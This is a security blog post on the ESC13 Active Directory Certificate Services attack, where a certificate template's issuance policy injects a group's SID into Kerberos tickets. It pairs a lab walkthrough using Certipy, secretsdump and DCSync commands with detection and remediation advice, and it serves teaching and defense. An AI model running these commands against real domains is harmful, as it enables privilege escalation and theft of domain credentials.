blog.safetech.red
Microsoft Active Directory ADCS BloodHound Red Team Blue Team Rust

ESC13: Being a Phantom Member of a Group

A simple take on the ESC13 attack against AD CS (an issuance policy linked to a group), why it's stealthy, how to exploit it, how to detect it, and how RustHound-CE now maps it in BloodHound-CE.

15 Oct 2026 12 min – views Quentin Texier (g0h4n)
Table of content

This article is an automatic translation of the original French post. If something reads a little off, the French version is the reference.

TL;DR

This article covers the ESC13 attack, an AD CS misconfiguration where a certificate template carries an "issuance policy" linked to a security group. The consequence is that anyone who can enroll on that template gets, through their certificate, membership of that group directly inside their Kerberos ticket. No group addition, no visible change in the directory. A plain domain user can thus end up Administrator, depending on the group the certificate is linked to. A lot has been written on the subject, and SpecterOps' papers remain the best references. In this article, I simplify the mechanism, I show how to exploit it on the Red side and detect it on the Blue side, and I talk about the new ESC13 collection added to RustHound-CE by @marbasec.

What is ESC13?

In AD CS, a certificate template can have an issuance policy. At its core, it's just an identifier (an OID) that states "this certificate was issued according to such-and-such policy".

Where it goes wrong is that Active Directory lets you link that OID to a security group, via the msDS-OIDToGroupLink attribute. The original intent is legitimate, it's Microsoft's Authentication Mechanism Assurance (AMA) mechanism, "anyone who authenticates with a certificate carrying this policy is treated as a member of this group".

The key point, and this is the whole appeal of the attack, is that this membership is not real. You are not added to the group in the directory. The group's SID is injected into the Kerberos ticket at authentication time, because the certificate carries the right OID. You "become" a member for the duration of your session, without ever touching the group's membership.

Why it's nasty

The exploitation rests on three conditions:

  1. A certificate template with an issuance policy linked to an interesting group (an admin group, or a group that opens a path identified via BloodHound-CE).
  2. This certificate template allows client authentication.
  3. A user controlled by the attacker can enroll on it.

If the certificate template is enrollable by Domain Users, then any account in the domain can request a certificate, authenticate with it, and inherit the rights of the linked group. For example, from Domain Users to Administrators, without a sound.

What makes ESC13 particularly sneaky from a defense standpoint:

  • No group membership change: nothing moves in the directory, so no classic "added to a privileged group" alert.
  • The certificate is perfectly legitimate: it's issued by your own certification authority.
  • It's silent: the elevation lives in the Kerberos ticket, not in the AD config.

Red Team side: exploitation

The demo below is run on the GOAD lab created by @M4yFly.

Given the three conditions above, the most telling scenario is the worst case for a defender: a certificate template enrollable by Domain Users, whose issuance policy is linked to a privileged group. So we start from a plain domain account, and we aim for elevation.

It plays out in four steps:

  • Find the path;
  • Request the certificate;
  • Authenticate to get a ticket that carries the group SID;
  • Then abuse the rights obtained.

1. Finding the path

First step, find the vulnerable template. Two tools complement each other: Certipy, developed by @ly4k_, for targeted template auditing, and RustHound-CE + BloodHound-CE to visualize the path in the graph (see the next section on the new ESC13 collection).

Detecting with Certipy

The go-to tool is Certipy, here's the command used:

# Inventory the templates and highlight vulnerable configs with Certipy
certipy find -u user1@essos.local -p 'user1' -dc-ip 192.168.56.12 -vulnerable -stdout

We're looking for a template flagged ESC13, i.e. one carrying an msDS-OIDToGroupLink toward an interesting group, and enrollable by a broad group.

Output of the Certipy find command

Detecting with RustHound-CE and BloodHound-CE

Good news! Since version v2.5.26, RustHound-CE collects everything needed to surface this path in BloodHound-CE. Concretely, it retrieves the policy carried by the template (certificatepolicy) and the group linked to the policy (OIDGroupLink), which lets BloodHound-CE draw the ExtendedByPolicy and OIDGroupLink edges, and therefore reveal the ESC13 path that was invisible until now.

And the best part is that both attributes already come back in the normal LDAP read, so no extra query, no extra privileges.

By the way, a big thank you to @marbasec for this feature, and for the series of bug fixes that came with it. 🔥

# Collect the Active Directory objects with RustHound-CE
rusthound-ce -d essos.local -u 'user1'  -p 'user1' -z

Once the collection is imported into BloodHound-CE, you surface the path with a simple Cypher query:

MATCH p=()-[:ADCSESC13]->() RETURN p

ADCSESC13 path from BloodHound-CE

This is exactly the kind of thing a Blue Team can do on its own directory, see its Active Directory the way an attacker sees it, and spot these OID-to-group links before they get exploited.

Did you know you can break down the exploitation paths in BloodHound-CE by clicking the ADCSESC13 node and then Composition:

Composition of the ADCSESC13 node

Detailed path for ADCSESC13 from BloodHound-CE

2. Requesting the certificate

Once the template is identified, we enroll on it with our controlled account. Nothing exotic here, it's a perfectly ordinary certificate request, and that's precisely what makes the attack stealthy.

certipy req -u user1@essos.local -p 'user1' \
  -dc-ip 192.168.56.12 -ca 'ESSOS-CA' -template 'ESC13Template' -target 192.168.56.23 \
  -upn user1@essos.local -debug

We get back a .pfx containing our certificate, which carries the OID of the issuance policy linked to the group.

Output of the Certipy req command

2.1. Optional: Analyzing the certificate

Before even authenticating, we can confirm that the certificate does carry the OID of the issuance policy linked to the group. That's the one the KDC will follow via msDS-OIDToGroupLink.

First we extract the certificate from the .pfx (Certipy produces a password-less .pfx by default, hence the -passin pass:):

# PFX to PEM (certificate only, without the private key)
openssl pkcs12 -in user1.pfx -passin pass: -nokeys -clcerts -out user1.crt

Then we read the extensions, targeting the Certificate Policies section:

openssl x509 -in user1.crt -noout -text | grep -A 3 "Certificate Policies"

Issuance policy OID present in the certificate

We find exactly the OID shown by certipy find in the template's Issuance Policies field. The certificate is therefore "marked": all that's left is to use it so the KDC injects the linked group's SID into the ticket.

3. Authenticating and getting the TGT ticket

This is where the magic happens. We authenticate via PKINIT with the certificate. As the KDC builds the ticket, it sees the OID carried by the certificate, follows the msDS-OIDToGroupLink, and injects the group SID into the ticket's PAC.

certipy auth -pfx user1.pfx -dc-ip 192.168.56.12

Result: a TGT (and the NT hash along the way) for an account that, in the directory, is a member of no privileged group, but whose ticket does carry the SID of the linked group. That's the whole point, and all the stealth, of ESC13.

Output of the Certipy auth command

3.1. Optional: Analyzing the TGT ticket

As mentioned earlier, the group must be present in the TGT. You can verify it with describeTicket.py from the Impacket suite. But the part we care about, the PAC, is encrypted with the krbtgt account's key, so you first have to retrieve that AES key with secretsdump.py.

secretsdump.py -just-dc-user 'ESSOS/krbtgt' 'ESSOS.LOCAL/administrator:Azerty12345@192.168.56.12'

Output of the secretsdump command for the krbtgt account

Dumping the krbtgt key already implies privileged access. Here, it's only to inspect our own ticket and prove the injection on the lab, not a step of the ESC13 attack itself.

Now we can break down the TGT with describeTicket.py while decrypting the PAC, which holds the information we're after:

describeTicket.py user1.ccache --aes b16792405a3da8cdaefe72ad5340e480a9601048dacfaeeadbd9d1425d40e0ea

Detail of the TGT ticket

The ticket does show that the user is tied to two groups, one of them with ID 3123. Combined with the domain SID present in the PAC (S-1-5-21-3600700137-3291257795-828247845), that RID 3123 gives the full SID S-1-5-21-3600700137-3291257795-828247845-3123. We check who it belongs to in BloodHound-CE:

MATCH (g:Group) WHERE g.objectid ENDS WITH "-3123" RETURN g

The 3123 group in BloodHound-CE

This confirms that the certificate requested through the ESC13 exploitation does tie user1 to the ADMINS-DC group, even though this account is not a member of it in the directory. The phantom membership is proven!

4. Abusing the rights obtained

From there, we simply use the rights of the injected group. If the linked group is privileged, the elevation is immediate. For example, if the certificate makes us inherit rights equivalent to a domain administrator, a DCSync is enough to demonstrate it.

export KRB5CCNAME=user1.ccache
secretsdump.py -k @MEEREEN

Using the TGT

PKINIT vs Schannel: why it goes through Kerberos

I asked myself a question and figured it might be worth sharing back with the community: "if my certificate carries the right OID, do I also get the group when authenticating over Schannel?" Unfortunately, no. The SID injection comes from the AMA mechanism, which is evaluated on the KDC side, during a PKINIT: that's when the certificate's OID is followed to the linked group and the SID enters the PAC of the Kerberos ticket.

This is the part covered in the Optional: Analyzing the TGT ticket section of this article.

With Schannel (TLS client-certificate auth over LDAPS, HTTPS…), the certificate is simply mapped to an account, without going through that AMA evaluation. And when the service materializes a token via S4U2Self, it does so by the account's name/SID, without a certificate, so the linked group doesn't show up. Result: you do authenticate as the account, but without the rights of the issuance policy's group. That's why the ESC13 chain always goes through PKINIT to get the elevation.

Blue Team side: detection, SOC and SIEM

Since ESC13 is stealthy by nature, detection plays on two fronts: posture (hunting the misconfiguration) and monitoring (catching the exploitation).

1. Posture first, i.e. hunting the misconfiguration, is the best return on investment. Knowing your CA means knowing a big attack vector. Audit your templates' config regularly with Certipy (find -vulnerable) and with RustHound-CE + BloodHound-CE. OID-to-group links are rare, so they're easy to list.

2. Monitor certificate issuance. The core of the attack is a request followed by a certificate issuance. On the CA, the events to collect:

  • 4886: certificate request received.
  • 4887: certificate issued.

The useful rule would be to alert on an issuance (4887) from a template whose issuance policy is linked to a group. Since you know the list of these templates (Certipy / RustHound-CE give it to you), you turn it into a tight watchlist, and the signal stays clean.

Careful though: by default, AD CS auditing is not enabled. Without it, events 4886/4887 don't exist. That's the very first thing to fix. Microsoft documents the steps on the Defender for Identity side: configure auditing on an AD CS server and the list of required AD CS events.

certutil -setreg CA\AuditFilter 127 
Restart-Service certsvc

Enabling audit mode 127 for AD CS

Enabling this gives you the events tied to certificate requests, as shown below:

Event IDs 4886 and 4887

Remediation

  • Remove OID-to-group links that aren't strictly necessary. They're rarely legitimate.
  • If a link is justified, restrict enrollment of the template concerned to a minimal group. Definitely not Domain Users nor Authenticated Users.
  • Enable AD CS auditing everywhere, otherwise no issuance detection works at all.

MITRE ATT&CK

To tie the article back to the matrix, here are the TTPs that fit this scenario. The first is the heart of the attack (certificate abuse), the others describe the elevation and the impact.

TacticIDTechniqueIn this scenario
Credential AccessT1649Steal or Forge Authentication CertificatesEnrolling on the vulnerable template to obtain a certificate carrying the OID linked to the group
Privilege EscalationT1078.002Valid Accounts: Domain AccountsThe domain account inherits the rights of the injected group, with no membership change in the directory
Lateral MovementT1550.003Use Alternate Authentication Material: Pass the TicketPKINIT authentication and use of the TGT carrying the linked group's SID
Credential AccessT1003.006OS Credential Dumping: DCSyncFinal exploitation of the rights obtained to extract the domain secrets

Going further

Three resources I recommend:

cd ..